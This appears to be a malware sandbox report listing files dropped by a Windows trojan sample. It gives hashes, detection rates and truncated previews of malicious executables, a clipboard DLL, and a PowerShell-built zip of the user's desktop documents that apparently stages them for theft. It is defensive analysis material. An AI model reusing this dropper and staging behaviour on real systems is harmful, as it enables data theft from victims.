Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........d.Y@...@...@....m..Q....m.......h..R....h..W....h..5....m..U....m..S...@........k..A....k1.A....k..A...Rich@...........PE..L...o..e..............................2...... ....@...........................2.....J./...@.................................V...j.............................2.............................X.2..................................................... . ............................@....rsrc...............................@....idata ............................@...byqduimw. ,.......,.................@...otarkcdf......2......./.............@...................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2256896
Entropy (8bit):	7.951346965096005
Encrypted:	false
SSDEEP:	49152:tSUl6vD5DxN6HHLJ9tZvA1qsYaG0cLLCPfwvk2ka1UxCtW:tSSwD5DxkfuqkPcLA0l1UxW
MD5:	C9C09952C1C03B2FE8FFB27EEA781AC5
SHA1:	E879AE43B128F67B3F5168392145DF1CE29B7FA5
SHA-256:	BECE1D107F2CFC2BF0D759D561578019ECD8C976D0143088FBC2BE78F69185DA
SHA-512:	41C7692CD2E1B144500388719531F34B1C1C3B90503A2E7A2CE8B7316BDE5F68A6C2F019173E26757186B86863EC7EC5166A8BF8CB4A59FE4115AF6596B54F46
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......P.....t...t...t._.w...t._.q...t._.s...t.......t...p...t...w...t...q.O.t._.p...t._.r...t._.u...t...u.4.t..\|}...t..\|t...t..\|....t......t..\|v...t.Rich..t.........PE..L.....f...............'.4............X......P....@.......................... X......R#...@.........................L.W.L...m........P..P...................<.W...............................W.............................t...@................... . .@.......>..................@....rsrc...P....P.......N..............@....idata .............Z..............@... .p..........\..............@...kmmiqwbd......?......^..............@...fznmywdp......X......n".............@...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1000049001\amert.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1876480
Entropy (8bit):	7.957020454357134
Encrypted:	false
SSDEEP:	49152:oLTzyXuLotS3ZcX0s8vOBLurW1gPXMaQymX1OoC4HcT7tz/J:oLTeeLD3ZjrvOBLPR8mBu
MD5:	14A7790619E67FB66BB29AD3A979C36B
SHA1:	FE798EC4724910CD0DE19A21EE879846BF66DAB1
SHA-256:	5716CA13A390D744B1276A1CA83F837F55F797A53B68FA1C738939C94F19F52D
SHA-512:	9A5ED60FBCE5A1C79C8BC0BFC5F60275EB908B1A36836931E06C4152B0DAC545456B5A446E43578D16226DBA153FF3B52716CDB4F3A714F095F9C97972F2EB1F
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......R..n3.@n3.@n3.@5[.A`3.@5[.A.3.@.^.A\|3.@.^.Az3.@.^.A.3.@5[.Az3.@5[.A}3.@n3.@.3.@.].Ao3.@.]u@o3.@.].Ao3.@Richn3.@........................PE..L......e.............................pJ...........@...........................J.....x$....@.................................Vp..j....`......................pmJ............................. mJ..................................................... . .P..........................@....rsrc........`......................@....idata .....p......................@... .@.........................@...nrhwmcml......0.....................@...cbtiwtyd.....pJ.....................@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1000051001\b977f667d6.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1050444
Entropy (8bit):	5.32049141507463
Encrypted:	false
SSDEEP:	24576:FqDEvCBqDEvC0qDEvCBqDEvC0qDEvCBqDEvCBqDEvCw:FTvCBTvC0TvCBTvC0TvCBTvCBTvCw
MD5:	2B028D4B2265F46258F609CAA8A50C38
SHA1:	B0CE73F8B8D51F58E646477C2BB3F3D80BC0491C
SHA-256:	2896A9D33493D47B2FF3C2981A9DE8209763453D8483D2F0FAE383D96BA0D72A
SHA-512:	AF1E1692E42ECACAD85183B40057F0CE606D40AE8999FAFE9F10CAD9EAFEC46C5BD45217CDE8787684E4435D755EA9F9106848C8FECADB8BC0877E2A4A1530E4
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L......f..........".................w.............@..........................0......P.....@...@.......@.....................d...\|....@..\|a.......................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...\|a...@...b..................@..@.reloc...u.......v...V..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	4610
Entropy (8bit):	7.791590529267548
Encrypted:	false
SSDEEP:	96:mrT4ao7luqFBxLgfAcNMXxR1pC/ZtDvpC/ZtDkLE:mrTJU6NMBR0904LE
MD5:	E60AAA5FC00D2929F3505E38A9E14219
SHA1:	0B64DA01B6512650BA69C85CC805CB2D0B117D0F
SHA-256:	CA7866016F66224561D99BB75501F9D97AD05EC92AF0CB6C96BFEE233C772E9A
SHA-512:	E89A9A06975D48773DF0E64D3AF6ED7C6A00B67DB13C13175E1825F096C85181423DEC1A93DE3F83905D5821A62D3A2E0C77D7EB242A44E9790D0E5EC0C1D24B
Malicious:	true
Preview:	PK........PpDW..M............_Files_\DTBZGIOOSO.docx..I.e!...yE.E.`.....!u.\..<0.s..........h>....t5.X.K..0g,.h.^......]c.N..rh.....X.....t.6`.]6.M.I.../.9....wO.xf<p..q.j._7}v..e..R_M..X.u.1.....-.m.b,R....O.q.~v..c..+...I.....m..G...u..r./.?i.....\..H...u......f~I3..ny.C.&.....W.7T......a.....y.+...~....n...0..s.:(HN<...M......L..W-..j-aEE....@..+..e.=K.m..U......^.~\|.....6...Eo\|.m9Z..E..#.m.r.l.y....1^F...[....g[_..Qr.zo.m.J2$%y'...3......}Wy<.^...w....e....O}c.T .r5........)\|F.t..m..E.....?.s.lO\|1z.l.t...w.iHq.H.0&.OR..0......z....w7..R\|..UD.....n.........M.J#..=....6_...I\..U:>.../.^T...>G-.......@..........9.9d.=o.~.;.......k..;7.Tn~..]m3......PK........PpDW.1n............._Files_\KATAXZVCPS.xlsx..I.@!.D....p..N.........U.D..w.......D.6...l.ZI.(Vc.....E...7{..cx.Z.t.h.......yHj...!.......\|....9g.......`....).p..fU{...5...Q.fo.k..iV.8ug3..6....K..=....2{.usK.%;.l....W<.G.;I.:v.\|.W...).g..~j.9t#...z?..R.+&."4.?..rcC..m#_.].RMZ

C:\Users\user\AppData\Local\Temp\_Files_\DTBZGIOOSO.docx

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.705615236042988
Encrypted:	false
SSDEEP:	24:B65nSK3I37xD9qo21p9G7ILc3pkowOeuiyJRdt7fXzyxu3f7Lj8X2:B65SK3Xx1OXpkowOeMJR/fzeYX8X2
MD5:	159C7BA9D193731A3AAE589183A63B3F
SHA1:	81FDFC9C96C5B4F9C7730127B166B778092F114A
SHA-256:	1FD7067403DCC66C9C013C2F21001B91C2C6456762B05BDC5EDA2C9E7039F41D
SHA-512:	2BC7C0FCEB65E41380FE2E41AE8339D381C226D74C9B510512BD6D2BAFAEB7211FF489C270579804E9C36440F047B65AF1C315D6C20AC10E52147CE388ED858A
Malicious:	false
Preview:	DTBZGIOOSOGIXCBMGZZTWMBQXGHIBDIDBNCACFDFVBOXTDUUJMUMBAKZSHFEIWNQHEECYVTVTSOTORNQIPIDARMCQDPQAFMDPEUWMOYTBCDCAYVFJLXBCNSKBDWMSQYEQYRUTREAZDRNQIZYXPRJXUJXDYZYLJWOVPCEZSCSUSREYDMTRVOKIKSVPBPVQFMFFQNUDCCBDNGIIDGYMQHFPEMCFEOSEKVDEHVQZBXIBJURBZFVTYETURFSVIYLBMHJKBCAPGOAJJFKOTEXRMHREBNTBJGLLRAKZHXKTTSKEXODMEVVGUJOGNLYLFYGHQIBHAFRVYETMDPLEXBQXLVWYLIMFCJAKPFWSQSVSWYINAAOPMCAAVTIWDFRPKUBYLVKYRNUDCLWZJHLKSXWPDEXGEVUQVEJQWTUUYNTOIRLKQTXRWJHCSMGZWWPGPBFZQLOSDMHAPKSMVNNMIVJAORPRFUXPDROELZMLHAIBRVVWUMSDWFAHIBDVMGGFRISFYQZZSESXHMSUQCQPXBCPTAZBJXKKLRBWEZYGWRXBBTYWRRUXCBJIWCOYQKBQCGCZCPFVLGETTTZLEFZDQMQFHJVERUYLQUPVYRNXQJRLPUBWWQHPTYNORTRKKOMLWKAQZNHZQUJGTIYVIKGAWLHSALTZENHAAJKNKUBSQXDVFQRUFJLDFZAQUPCRNDOOEIALNCMGYLCEZSLPOPYEKIEYDRXSDONBFKQKQMAWBJULDADUHXOQGQLIDEPZRHMCBVTLCJUGOZRYCGXCXPEOJTGJORAEJKASXKARQEVOHMITSWHQEWOJXNOGSKWUQQTSOSWSCCMOUDMMHPYKEAJECJSGTBNPSFVWSGFBKGSKEHVLWONOMPOOJEJHDMKGRPCSBYWCZNHTWZCKQNEGEYABJZETYLVHROKZJAIGKJDHLJBRYOVDHNANLCJBHTDDRPXIXDIHNWDDQDHPSAKZRRXOFYYXZWQWZFESELWVMUIBHMCLVZP

C:\Users\user\AppData\Local\Temp\_Files_\KATAXZVCPS.xlsx

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699548026888946
Encrypted:	false
SSDEEP:	24:pjU7tPjIpNf9XSXm/5eskkSAjuenNF0hE6mHPISZMqEv:pjU7xIpfXSipuenT0hvYIV
MD5:	A0DC32426FC8BF469784A49B3D092ADC
SHA1:	0C0EEB9B226B1B19A509D9864F8ADC521BF18350
SHA-256:	A381579322A3055F468E57EA1980A523CAF16ABFE5A09B46EC709E854E67AA01
SHA-512:	DAF85E375438A2A6CC261D75D672A9C43E80E6CB1BC1EAA1BDB7B798CDE22AEFD5A04AC1D10E6F24CDBB7F9EA0452F5CA790969C750B764B4B7F9E0C5B2A0731
Malicious:	false
Preview:	KATAXZVCPSXDNCRGTIEAHLTBMQUFAYSWEMLQOMHMIKPDECBCOYPMSTTHHPDKZNGFGWCNUUGIGXPEBWCPRKDGBOWPSNMTFYIHVYITPQGJYFOAJMWVQDHVSMYHPXFGNOURBBIVVVMRPWBBLQXUCAXUFAYRSTCKWXAAMKJJZILVYZNBPSMXAGXZDASFVGKBTHNGETLQIHPRIVPIVHVCSRDUBEGENZMHSYQLROJPZILEYZIFDADQNRGHABZNQMPQMEVKVERETAQUHUXWKYTSUKUXMTSIPUXJRNZOLPGLRSFBCHYWGMRDPLBUIIFHFUNFWRALBUPZLDJUHIMNWKMISYIKAQGSLGBWBFUXASKUFXDTLJAXOSBBQTQJNJAVJQLQEFEKRWWXRJNJSWYQQKPEAVJRUZGKJUAZLPHMOTXLNXAZINYPNPZNGRMVYVCYPPHKTYJCBWNURXFTCITKLDRSFMIHFZHIDPGLOTHCQFZZEHIEXWNNZRJQLWYMVUHTXHFFDTYBHDRBRNTPLBXPVFCUVAJOYOWRENFUXTSCNCCQJOSITCFTGJHFQCYISKUAVSRYASWVJRDNOYYCSYOZWHRPNSBWMHUUEYUGOXVSYKLFZAUQJZDVBEBHHGXQHZVJWNUGLSAYWIEHAJCPIOHOPCXKNVRISBGUAEMSYEGNPQXITRIIMXOLIJYUBIEQGZQUAHRWMKQHCRHKBJZQQXFYTNBHEJEWRPZRXZCXRJQVIUOATJAEYDILREREDIWFEMISEKZWNCDTIPTTOZXOZJIYMGKYIKXBLURVWBJHYFJCLGVVIMADULTTVZIOEIPMVJAOPSQCDFMYPSPGLBIQXTWTUZERGBDTCIRRVRTNGENXXRTHESXQFUQSRGUQDQWGTGXTSGDYWIQVOKABAIAJIEUVYCZXNYVKPRREMYAVDFDHWOGEKALUPBHOHENIHLFJZAHVTJIQJBKXOYIOELCIIECJBPTTASBEKGOESRDFBACPOTNMRZOG

C:\Users\user\AppData\Local\Temp\_Files_\ONBQCLYSPU.docx

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699434772658264
Encrypted:	false
SSDEEP:	24:Khfv+VFngw6i0t5Ut+l3kHwMDkhBlBAMFPxYaija:pvl6Pt5uQ3kQ0khBl1VxYpu
MD5:	02D3A9BE2018CD12945C5969F383EF4A
SHA1:	085F3165672114B2B8E9F73C629ADABBF99F178D
SHA-256:	6088E17DB4C586F5011BC5E16E8BF2E79C496EB6DAE177FF64D9713D39D500CA
SHA-512:	A126D98EE751D0FB768E4DB7D92CBC6AE7852FEE337B85ED045D871DB321C6C98FD58A244D058CA3F41348216C68CB4A37FA854980BB16D358AA62A932DD867E
Malicious:	false
Preview:	ONBQCLYSPUBDAQCIGYNWXHPENQNLJZGXCHXSNXZNCZBUHYDXPEMCJPAWYQSVHMGKHJUFFFYDAXDAHOLOAZEPTWZTWDGPFLXMMCXLCIIJOXMVRNMUMTICVHQSWNAGIYCQBOZZHONWWBXKDUJYBRPSLNFGTUIFTNGJEATOXKHEFMERAQZVBMQGKZUKXDBMGRJDOOGATZZKQMEZJRWZVAZRPQTVWPETCIMLPMYNWZLVLXRPUUKLNIMTYDNYIJTZEFJDNMWTOFFKRRINCRDCFGJAJNMYQHGXGVHVYPEUFBNUIGUVGBYQKIAJLIVACVIHEGZIYKSROURNGZSCTUKBKFFCGPXAONPDEBIZJRKCFYHATDXLXYKGLWXBCHJERCRNMKESIMBDNPMPBWXSVSEAAUEKEGUIJBZLAESAFZHMBLPPKMNTZAZIIYSHMWJBFTZZSKYNFJYSBRLGVHOWZUQHXUSSJESIEKHZLTLILMSMJZHXFWGJQNWQCDLXEWBZPGBTVDVCPPUFLFGNZRUKJOANJVXVTXLOQLFUIVEWTCBKOBYZMAOTIMQMJYRYLSOLSSACCLCFTVXCKKJDNWQAETNXHIOQCDTXLLVEQLNLGDIOULNFNNDXTVYYSPDWWZHDSYHBRXMUAAHJIGSGLSFKCGADPUAASYZFEZWHYDLQDUCHJXMNMTNCDCMNIJQCSGEQOGVGYBYPMTZBBFOACZMMKVFNELOMGSTCQUDRFKLFGOHOTZKZCWJWDRECGYETFYOWLYECGICMGUKZRVNHUQTLQLHUTPRZXBVYMPAFBLSWKSSKBGWCWBFEEZIAZUZGEYMYBSXYUCHEALFJRSGWQJMABNQHSZANDDTYMVJKXFFFDEENZAGRGVLHFELVOSGTXVOOPFGCQDSFWOYKKOYUHFWMXWPLHFIIPORMEJNOFYMJRBAZLYTIOKEFIWPDZUKMIWKLZXBOESUCXZXQSCMQKDKFBCHJMPMZHELLNSYYEJNBRRXVBMPD

C:\Users\user\AppData\Local\Temp\_Files_\VLZDGUKUTZ.xlsx

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701757898321461
Encrypted:	false
SSDEEP:	24:JTbqccbbEKOWHOHPG9HXJMTwDwW63KkUdx/d:JTbmzOxeRaTaq3KBL/d
MD5:	520219000D5681B63804A2D138617B27
SHA1:	2C7827C354FD7A58FB662266B7E3008AFB42C567
SHA-256:	C072675E83E91FC0F8D89A2AEC6E3BC1DB53ADF7601864DDC27B1866A8AEEF4D
SHA-512:	C558140907F6C78EB74EE0F053B0505A8BB72692B378F25B518FA417D97CCB2D0A8341691BECAA96ADCE757007D6DC2938995D983AAC65024123BB63715EBD7C
Malicious:	false
Preview:	VLZDGUKUTZXKWULZBWDOTEIBVHVGPZOMETVGLHEKQQVYNUMUAOLBNSHZYTRKXENILISUHDAEEZWZEUNNMWJTKJJOLHKIGJBIHEMLZPVHEUDLHUZCSBUYGAPQSLHCFWHXEYFYTFGZTQNGXBIUAIOYCCCESLXKQMZDVXCDPKMYSWUFQOOGYCQASGJXLVOEKXBOBXDUKGAWAMSEHSFOUBZESSHGPVUWBSAXMDDSNTFJRIJVCYNCFLCMAYHAQBOVOYCQICAPOEIAOZZDHRFCBPBIJRAALGUMCZXSSRKWWTLWRCAGMBKLQATMELORFDRFOPMXYZUWVDECUBFKJYGAVNPIZHJACVPSNOSYGMZANGHNGZCHMGRVBLZWYXERUYHSGKNYMBIUOUVRRQZNFUEYVDSYNZOGCQQJBPAGGARUGCQGPSYMVKYFEATFTUASPFCLAYVPLRCXWCNIABDDVKSFBVZOWZJRZCFQZOXEFZYNRBPBMSHMJFACGUVZUTNGJUEWYWGPCEUFNJTHREUEIHDYXUSJMKBAJVWGYJBJZIRJSRNLDQEVFZAKVMKFJSIHDAKHIEZERYMCSJLFMAKTAGUIBEYUESOJBCXDNFVMNZJABIUVYPQJTWFYBZJPMWLOIHNHFGQHJMNWDFCATRHJYRIXKFJEEOLVSFDPTZNPUFUNEEOLRHVCPOPPOMEZBYTGJKKWUQRHCTFVKQBJAPTOLZADSWVPJYRGRDUWSTNCXLPQDMPVWSSFEHFWHSYNGNHOYZMFADSOTZRZJWXBGUPDZLPMKTZHVIXOFUFHPBTLFRGMMRKOTCWSSRSSXZJNZJGFXMQMXYXKQOFUEAKEJMGPTQUQWYKCZWFGOGJXTRBDEBXQWSDHUFBWIRPNOOENTWWFRIBLZBMAFTMZPLFLLVKTGMUXNKLRFNYLEFNKJWPWNLANWBRDASFRDJUPHVZRHEFBINQCKMOVMQOLDBWPTMYMMFRCLWITZRVFLDSOIFRMJCCQXYLT

C:\Users\user\AppData\Local\Temp\_Files_\XZXHAVGRAG.docx

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69156792375111
Encrypted:	false
SSDEEP:	24:wT4Ye6841ff8PdGjcDOa8AtDLSoarbrGxYsrxpuzu:/Ye68AIGjiOaDDc4uzu
MD5:	A4E170A8033E4DAE501B5FD3D8AC2B74
SHA1:	589F92029C10058A7B281AA9F2BBFA8C822B5767
SHA-256:	E3F62A514D12A3F7D0EB2FF2DA31113A72063AE2E96F816E9AD4185FF8B15C91
SHA-512:	FB96A5E674AE29C3AC9FC495E9C75B103AE4477E2CA370235ED8EA831212AC9CB1543CB3C3F61FD00C8B380836FE1CA679F40739D01C5DDE782C7297C31F4F3A
Malicious:	false
Preview:	XZXHAVGRAGWUZPDZUEGAYKLOJAATOVXJVRJCLWZVJFOFPZNHYWDUACWAEZMWROZFSNVNLUZTIGQHRPFNIXZWAQNKEFFVMFVJEYHESHQWKICFNAONPPGGSABXPCYNBZITQCMUVOCKUUGGEKLAFNXLBOWPVKEOIBLWWAPOYVIECYONJSQKQQDXGYONJXNAQTSMYDMXZYXYEGULUXOLZALCFDXCFNFKPZDKANUFUXWMRLBIQALSWLXEXAFGLOYIFRMFQEZVUTIKXYTPJYCVKCQFZXEECZIXEIHQZQQYTVHKAQLEKMWMZZULQXNCKIJZACKDTKVLWIVBKFQXXOMIGVNYLPAXZFSMAZJTXJUXMZPVKWUQVNXGFUJUQLXWUJWXXGWFDEHIUZKLUQKWAGSXVVNNFXCYWQGRDZCZRLRYXTMLQRGEHRFDGZJOZZKKYLKBWQOZXHGQWMYFROUTIBGKPARBJPOEDNOQMKUEALEVNBPCUIKVTPAWCUIHGVFJWDYFDWTASWSIDDELYILSJEFAACQCZMSARBUAQIRFFLJJMHBVZYFUUTOLDYGUUVIYGJYNXGWJCYUYVJKCVNACSGWHTSOCDOFFPNNHQEMEAXXRINULLPFMNSQUWWIGEJQABGOQLKIXTZYHHQQTOZYLTNJMMWELZZPDIDHXRBCJGZUDMDGVMAEUIWFYWGIHBTOBLWXIEGHJRIDDBTOXKXOOIAAJUPCJRNMROGCUNSCGQYEEZLWOYIYMJPGKLDXEOGUAUHNUJCEFMGEKRBWDAHWRXWVSFQCURHTSGJQWPJHWEAHXCEQVKJRECGPJBGCDBEGBIRMVXHGYHMWJXIXMQHTKSZFVSATJKNAJOYAJNKDTKZMBHRENBCAYUBASQOTKKVNCTZIOGOUVVDNXYVJFHXTPSZMOWWCPPMBMLCTTPGONDVJOVLCMTWRESLSDGLNGAGTIXVYAJZVBYYHWAMERRRQXMWVCYELNGPYXOGOPHWVXCTQIKXSK

C:\Users\user\AppData\Local\Temp\_Files_\XZXHAVGRAG.xlsx

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69156792375111
Encrypted:	false
SSDEEP:	24:wT4Ye6841ff8PdGjcDOa8AtDLSoarbrGxYsrxpuzu:/Ye68AIGjiOaDDc4uzu
MD5:	A4E170A8033E4DAE501B5FD3D8AC2B74
SHA1:	589F92029C10058A7B281AA9F2BBFA8C822B5767
SHA-256:	E3F62A514D12A3F7D0EB2FF2DA31113A72063AE2E96F816E9AD4185FF8B15C91
SHA-512:	FB96A5E674AE29C3AC9FC495E9C75B103AE4477E2CA370235ED8EA831212AC9CB1543CB3C3F61FD00C8B380836FE1CA679F40739D01C5DDE782C7297C31F4F3A
Malicious:	false
Preview:	XZXHAVGRAGWUZPDZUEGAYKLOJAATOVXJVRJCLWZVJFOFPZNHYWDUACWAEZMWROZFSNVNLUZTIGQHRPFNIXZWAQNKEFFVMFVJEYHESHQWKICFNAONPPGGSABXPCYNBZITQCMUVOCKUUGGEKLAFNXLBOWPVKEOIBLWWAPOYVIECYONJSQKQQDXGYONJXNAQTSMYDMXZYXYEGULUXOLZALCFDXCFNFKPZDKANUFUXWMRLBIQALSWLXEXAFGLOYIFRMFQEZVUTIKXYTPJYCVKCQFZXEECZIXEIHQZQQYTVHKAQLEKMWMZZULQXNCKIJZACKDTKVLWIVBKFQXXOMIGVNYLPAXZFSMAZJTXJUXMZPVKWUQVNXGFUJUQLXWUJWXXGWFDEHIUZKLUQKWAGSXVVNNFXCYWQGRDZCZRLRYXTMLQRGEHRFDGZJOZZKKYLKBWQOZXHGQWMYFROUTIBGKPARBJPOEDNOQMKUEALEVNBPCUIKVTPAWCUIHGVFJWDYFDWTASWSIDDELYILSJEFAACQCZMSARBUAQIRFFLJJMHBVZYFUUTOLDYGUUVIYGJYNXGWJCYUYVJKCVNACSGWHTSOCDOFFPNNHQEMEAXXRINULLPFMNSQUWWIGEJQABGOQLKIXTZYHHQQTOZYLTNJMMWELZZPDIDHXRBCJGZUDMDGVMAEUIWFYWGIHBTOBLWXIEGHJRIDDBTOXKXOOIAAJUPCJRNMROGCUNSCGQYEEZLWOYIYMJPGKLDXEOGUAUHNUJCEFMGEKRBWDAHWRXWVSFQCURHTSGJQWPJHWEAHXCEQVKJRECGPJBGCDBEGBIRMVXHGYHMWJXIXMQHTKSZFVSATJKNAJOYAJNKDTKZMBHRENBCAYUBASQOTKKVNCTZIOGOUVVDNXYVJFHXTPSZMOWWCPPMBMLCTTPGONDVJOVLCMTWRESLSDGLNGAGTIXVYAJZVBYYHWAMERRRQXMWVCYELNGPYXOGOPHWVXCTQIKXSK

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_j2qb2s3w.5yd.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mzuezop3.mqp.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nwkgvscn.0ig.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zacizpva.dzm.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\rage131MP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.66122625626979
Encrypted:	false
SSDEEP:	3:LkYYd:oJ
MD5:	07D48DA1085E6800078708C1756B4B5A
SHA1:	63393191B26FC0C1E4CFDA3557DC079B0657CC4F
SHA-256:	AABAA28AC9FA2233B4DABAFE59EA9ECCD32D3718A02C774E4FA94BC5D89D20C0
SHA-512:	1A52477B8E458B49A581663C7C36114B8D42C9855498DDA6C5318DC48DFFCD6334611C91193A08D297C3A44C683BE8F6A898D7791D7BBC2BCA342944892DC390
Malicious:	false
Preview:	1713036993618

C:\Users\user\AppData\Roaming\a091ec0a6e2227\clip64.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	112128
Entropy (8bit):	6.400158525810517
Encrypted:	false
SSDEEP:	3072:Q3uSD+ZwruS0bGcuZRt2sSZV/Q3IegRQod4l:AuTiabHuZRAFtlD4l
MD5:	726CD06231883A159EC1CE28DD538699
SHA1:	404897E6A133D255AD5A9C26AC6414D7134285A2
SHA-256:	12FEF2D5995D671EC0E91BDBDC91E2B0D3C90ED3A8B2B13DDAA8AD64727DCD46
SHA-512:	9EA82E7CB6C6A58446BD5033855947C3E2D475D2910F2B941235E0B96AA08EEC822D2DD17CC86B2D3FCE930F78B799291992408E309A6C63E3011266810EA83E
Malicious:	true
